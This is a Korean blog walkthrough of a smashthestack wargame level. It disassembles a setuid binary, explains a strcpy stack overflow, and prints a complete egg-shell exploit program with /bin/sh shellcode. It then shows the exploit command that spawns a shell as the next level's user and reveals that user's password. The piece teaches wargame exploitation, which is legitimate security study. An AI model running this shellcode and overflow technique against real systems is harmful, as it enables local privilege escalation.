blowfish.smashthestack.org – Level11 풀이

Level11 역시 문제 소스가 제공되지 않는다. 문제를 실행하여 보면 세그먼트 폴트 오류만 뜬다. 막막해 하지말고 일단 gdb로 한번 디스어셈블러해 보도록 하자.

level11@blowfish:/levels/tmp/geegeegee$ gdb -q /levels/level11
Using host libthread_db library /lib/tls/libthread_db.so.1.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0x28,%esp
0x080483fa <main+6>: and $0xfffffff0,%esp
0x080483fd <main+9>: mov $0x0,%eax
0x08048402 <main+14>: sub %eax,%esp
0x08048404 <main+16>: movl $0x10,0x8(%esp)
0x0804840c <main+24>: mov 0xc(%ebp),%eax
0x0804840f <main+27>: add $0x8,%eax
0x08048412 <main+30>: mov (%eax),%eax
0x08048414 <main+32>: mov %eax,0x4(%esp)
0x08048418 <main+36>: lea 0xfffffff8(%ebp),%eax
0x0804841b <main+39>: mov %eax,(%esp)
0x0804841e <main+42>: call 0x804830c <strncpy@plt>
0x08048423 <main+47>: lea 0xfffffff8(%ebp),%eax
0x08048426 <main+50>: mov %eax,(%esp)
0x08048429 <main+53>: call 0x80482ec <strlen@plt>
0x0804842e <main+58>: cmp $0x7,%eax
0x08048431 <main+61>: jne 0x804844a <main+86>
0x08048433 <main+63>: mov 0xc(%ebp),%eax
0x08048436 <main+66>: add $0x4,%eax
0x08048439 <main+69>: mov (%eax),%eax
0x0804843b <main+71>: mov %eax,0x4(%esp)
0x0804843f <main+75>: lea 0xfffffff8(%ebp),%eax
0x08048442 <main+78>: mov %eax,(%esp)
0x08048445 <main+81>: call 0x804831c <strcpy@plt>
0x0804844a <main+86>: leave 
0x0804844b <main+87>: ret 
0x0804844c <main+88>: nop 
0x0804844d <main+89>: nop 
0x0804844e <main+90>: nop 
0x0804844f <main+91>: nop 
End of assembler dump.
(gdb)

main+58을 보면 eax가 7인지를 체크하고 그이후에 분기문으로 들어감을 알 수 있다. 좀 더 자세히 분석하기 위해 sftp로 바이너리 파일을 다운로드 받은 후 IDA로 분석을 해보자.

User

IDA에서 디스어셈블러한 부분 중 중요한 부분 일부분 이다. 헥스레이로 변환하여 보면 더 이해가 빠르다.

User

자. 이제 어느정도 코드가 파악이 된다. argv[2]에 문자 7개를 입력하여 if문을 만족시킨 후에 argv[1]를 이용하여 BOF공격을 해야 함을 알 수 있다.

일단 공격전 EGG쉘을 띄우자. EGG쉘 코드는 아래와 같다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
\x6a\x17\x58\x31\xdb\xcd\x80
\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80;

unsigned long get_esp(void) {
 __asm__(movl %esp,%eax);
}

int main(int argc, char *argv[]) {
 char *buff, *ptr, *egg;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i, eggsize=DEFAULT_EGG_SIZE;

 if (argc > 1) bsize = atoi(argv[1]);
 if (argc > 2) offset = atoi(argv[2]);
 if (argc > 3) eggsize = atoi(argv[3]);

 if (!(buff = malloc(bsize))) {
 printf(Can't allocate memory.\n);
 exit(0);
 }
 if (!(egg = malloc(eggsize))) {
 printf(Can't allocate memory.\n);
 exit(0);
 }

 addr = get_esp() - offset;
 printf(Using address: 0x%x\n, addr);

 ptr = buff;
 addr_ptr = (long *) ptr;
 for (i = 0; i < bsize; i+=4)
 *(addr_ptr++) = addr;

 ptr = egg;
 for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
 *(ptr++) = NOP;

 for (i = 0; i < strlen(shellcode); i++)
 *(ptr++) = shellcode[i];

 buff[bsize - 1] = '\0';
 egg[eggsize - 1] = '\0';

 memcpy(egg,EGG=,4);
 putenv(egg);
 memcpy(buff,RET=,4);
 putenv(buff);
 system(/bin/sh);
}

이제 EGG쉘을 실행하여 공격을 해보도록 하자.

level11@blowfish:/levels/tmp/geegeegee$ ./egg
Using address: 0xbfffd9f8
sh-3.1$ /levels/level11 `python -c print 'A'*12 + '\xf8\xd9\xff\xbf' + ' ' + 'A'*7`
sh-3.1$ id
uid=1013(level11) gid=1013(level11) euid=1014(level12) groups=1013(level11)
sh-3.1$ cat /pass/level12
em_kcuF

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다